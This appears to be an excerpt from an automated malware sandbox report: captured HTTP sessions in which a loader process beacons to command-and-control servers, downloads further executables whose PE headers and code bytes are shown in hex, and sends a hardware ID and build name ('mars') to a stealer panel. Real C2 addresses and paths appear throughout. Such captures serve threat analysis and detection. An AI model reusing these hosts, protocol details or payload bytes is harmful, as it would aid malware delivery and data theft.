Nov 23, 2024 03:21:29.905852079 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49810	185.215.113.16	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:30.027571917 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 03:21:31.412312984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:31 GMT Content-Type: application/octet-stream Content-Length: 1825280 Last-Modified: Sat, 23 Nov 2024 01:53:02 GMT Connection: keep-alive ETag: "6741357e-1bda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 10 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 6a 00 00 04 00 00 c0 aa [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$j@@j@M$a$$ $b@.rsrc$r@.idata $t@ +$v@ldvhpekm@O<x@pcoxsocvj@.taggant0j"@
Nov 23, 2024 03:21:31.412384033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:31.412422895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:31.412458897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:31.412493944 CET	1236	IN	Data Raw: b7 71 31 4c 2b 8a 9c cb e0 e6 a9 d2 6d 39 83 d5 b7 30 aa ea b9 5f c5 ab 88 3e 17 e8 45 71 95 c1 58 91 76 c8 62 2a 78 eb 22 e0 e8 78 b4 3d 5d a0 c0 9b a5 19 88 32 c1 63 82 11 ab e5 12 01 51 5b 03 44 c9 08 3b 58 6d e5 2f 62 a0 ea 0b 1b b5 42 83 09 Data Ascii: q1L+m90_>EqXvb*x"x=]2cQ[D;Xm/bBCdkO-T=#I%#vFOyf]nYu=BrpQ\tN$&j}O\NuLH,D=]5`'0OG\Qr<pMjGBy{C83y_q
Nov 23, 2024 03:21:31.412530899 CET	1236	IN	Data Raw: b5 76 ae b4 2b 39 8b 6c ad 82 d0 4e 48 aa 79 f3 b6 0f 69 1b eb 59 64 2c a8 7c d5 f3 c3 0e ed 42 dd 0c f3 cd 22 2d 5a 62 76 9f ab e5 40 ef 00 43 58 ea ed d2 6b df ee 8a 64 62 9c 7c 05 d7 47 db 49 b8 6b 5e 8f 76 5f 00 42 8d 2c 85 8b 6d d5 78 4a d4 Data Ascii: v+9lNHyiYd,\|B"-Zbv@CXkdb\|GIk^v_B,mxJEK;T>RAIby9y?,7VEAFC@"3MK}tY92>92fNATH#!TH%tl,o+95q['A>`_G!8nL5sBKCIT
Nov 23, 2024 03:21:31.412564993 CET	1236	IN	Data Raw: 88 c1 8b 00 12 b1 ce 7c 45 a1 f4 42 ab b1 e8 4a 97 4d f9 cc 48 af bd 4c ab 09 f5 06 07 39 35 7c 8f 54 9c 3d 78 a4 bc 49 47 4b ec e8 be d1 f3 62 5b 0d 79 9b a4 fe de 79 89 c2 56 c9 04 0f 65 98 70 fe 34 7b 18 d1 ea 62 63 0d 05 9b d8 4d e4 29 47 f7 Data Ascii: \|EBJMHL95\|T=xIGKb[yyVep4{bcM)GJq=uBT=VIG)pMzbsBA+s"b{KN"=QBALjM9A)rK@.hepZ%iSv
Nov 23, 2024 03:21:31.412600994 CET	1000	IN	Data Raw: 87 04 dc 4c 0e e8 35 9d b2 dd 7c 4f 87 4b 99 83 e4 8f 26 09 01 f3 2e 3d 00 54 b5 2d 44 c4 7a 5f 8b f3 62 7c 57 d1 a6 d7 4b c2 a0 32 88 f3 36 7d f7 af 75 a1 19 0d fe 3e 75 d1 e5 e2 42 45 74 9d 50 33 b3 b2 d8 f3 f6 4a e6 51 81 c6 30 07 69 93 b3 b1 Data Ascii: L5\|OK&.=T-Dz_b\|WK26}u>uBEtP3JQ0iCHE~:9Wy,B~sN-0@M2<ay W@@~H+J5>EryO"M_rs@uHdRQ{RJ}HE
Nov 23, 2024 03:21:31.412640095 CET	1236	IN	Data Raw: 6b 4d ad e6 53 3c 79 18 c9 59 bb 48 1f f9 da c1 0b da f6 9a 30 25 7d 48 1b 55 7a 8a 2c d6 e9 e2 f9 cb ea 40 e5 f9 8d 6d bb 51 69 c4 0b cb bc a7 b1 0f 85 be b6 09 9b da 02 04 c5 44 e6 cf ee f2 b6 ae 5a 49 c3 51 db 7d 70 4d f4 42 89 91 b9 1e e2 95 Data Ascii: kMS<yYH0%}HUz,@mQiDZIQ}pMB>-HipzRG)?;p2P@J{Q]\|iFP}=X>uGM}OWUtH=BYE~1+.OEiEBQ3C`7}dikr,.
Nov 23, 2024 03:21:31.412676096 CET	1236	IN	Data Raw: e8 02 57 4e cf b1 26 4f 45 75 ec 4a 01 ae fd a5 d8 ce ac b7 3f 12 74 39 43 02 d2 bd 72 b5 ee 3e b6 ad 9d b2 0c ff 29 aa 24 af b2 49 57 0f a5 37 33 f3 5e 41 57 4d ad 3e ec 36 73 85 98 39 75 50 37 4d 9b da 0b 02 6d 98 fc 2b 4a 8b b4 29 e2 a4 64 ff Data Ascii: WN&OEuJ?t9Cr>)$IW73^AWM>6s9uP7Mm+J)ds"}dauG->MY5H:Sl\TBU@xACtEZE>AWl^j'P{YBGTxA^Ehnc>{B{nr$WD
Nov 23, 2024 03:21:31.532332897 CET	1236	IN	Data Raw: 3f ac 6a 7d ac ae 6e 60 df 90 38 b7 99 f6 c6 3c 78 06 b0 92 73 30 7f 7c 33 9f e8 42 de 87 0b 6a 86 73 54 d6 cf 93 69 92 75 cf a9 36 0f c5 e8 77 65 6e 20 90 1b 97 9b 46 ed 7e a6 ce b6 b9 c8 9d 4f b4 3f a1 09 e3 36 74 30 2e 3e e9 57 87 74 d1 8e fd Data Ascii: ?j}n`8<xs0\|3BjsTiu6wen F~O?6t0.>WtM^1?UwE=bHYQ=e%`4m%Mv*<2njJ&\|_Bj"#P>&O()C0peUp}k\|,)LO\IYN-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49833	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:37.719693899 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008328001&unit=246122658369
Nov 23, 2024 03:21:39.108256102 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49834	185.215.113.206	80	3428	C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:37.954202890 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 03:21:39.318804026 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 03:21:39.345242023 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 31 30 38 31 44 35 42 44 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="hwid"D21081D5BDD63305298366------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="build"mars------KJDAECAEBKJJJKEBKKJD--
Nov 23, 2024 03:21:39.793477058 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49837	185.215.113.16	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:39.233755112 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 03:21:40.681679010 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:40 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Sat, 23 Nov 2024 01:51:09 GMT Connection: keep-alive ETag: "6741350d-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 05 35 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL5Ag"bw@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 23, 2024 03:21:40.681739092 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 23, 2024 03:21:40.682492971 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 23, 2024 03:21:40.682547092 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 23, 2024 03:21:40.682576895 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 23, 2024 03:21:40.683005095 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 23, 2024 03:21:40.683038950 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 23, 2024 03:21:40.683072090 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 23, 2024 03:21:40.683631897 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 23, 2024 03:21:40.683722019 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 23, 2024 03:21:40.801455975 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49855	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:45.345104933 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008329001&unit=246122658369
Nov 23, 2024 03:21:46.862682104 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49862	185.215.113.16	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:46.987724066 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 03:21:48.408020973 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:48 GMT Content-Type: application/octet-stream Content-Length: 2726400 Last-Modified: Sat, 23 Nov 2024 01:51:37 GMT Connection: keep-alive ETag: "67413529-299a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@sazuwdld@)8):@giqmsvmy )r)@.taggant@"x)@
Nov 23, 2024 03:21:48.408087015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408128023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408186913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408222914 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408257008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408291101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408325911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:48.408380985 CET	1236	IN	Data Raw: a1 9f f2 81 f8 16 2a 28 97 f9 1c e9 48 db 28 ee 89 8a 6d 64 1d 1e f1 47 c8 ae 29 71 b4 bc 1f aa 86 e8 f3 c3 aa da 2f a3 6d 9d 92 eb 92 cd cf f7 c8 a6 32 cd 7f 02 cc a9 f1 e4 10 db 36 e9 6a e9 f8 c9 64 db 78 ed 29 e7 91 0c d2 ad d5 e0 26 ea 68 66 Data Ascii: (H(mdG)q/m26jdx)&hf86E>3'k!~,+x)r).=/6l=(ga%oO.?p+iXE
Nov 23, 2024 03:21:48.408416033 CET	1236	IN	Data Raw: 4d a4 e6 e5 53 8e cf 83 cc 3e 28 7f c5 4d b6 ea cf 33 26 34 00 c6 db e0 43 aa ed 41 29 4e b3 34 8f 3b 44 37 ee 4e 26 53 a4 46 09 8a 83 a9 02 a1 56 2c 0e 28 22 e9 c4 41 fa 03 d0 9f cd 54 d2 48 d3 b3 b9 49 ac 91 c6 e8 f6 ac 30 ea e0 d1 e4 b7 c3 1c Data Ascii: MS>(M3&4CA)N4;D7N&SFV,("ATHI0 ;19C[u1XU"7N%9v6cQ?WVeYZ=}xLs1ubB7"_m{$skY9#{I&Abp9l<0]1
Nov 23, 2024 03:21:48.528016090 CET	1236	IN	Data Raw: 24 e5 ab d6 db dd 4f e6 0c 55 35 40 0c c4 a8 c6 f6 b2 2a 1b 2f 90 a0 f2 06 fe 2f f6 d9 64 23 03 26 f1 8b ce fa a4 c4 08 ba 9d 20 12 82 ef e1 a5 d2 cf d3 09 88 31 83 53 38 eb 7e 84 fd b9 de 3f d9 fd d3 7b 8a a0 73 5a cc 2d e7 f4 15 f7 5a 49 37 e9 Data Ascii: $OU5@//d#& 1S8~?{sZ-ZI7d# sK4OO'm{.)@J%v$r=<W7@E4&1$U^Sw-nmzfTh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49865	34.116.198.130	80	7860	C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Timestamp	Bytes transferred	Direction	Data
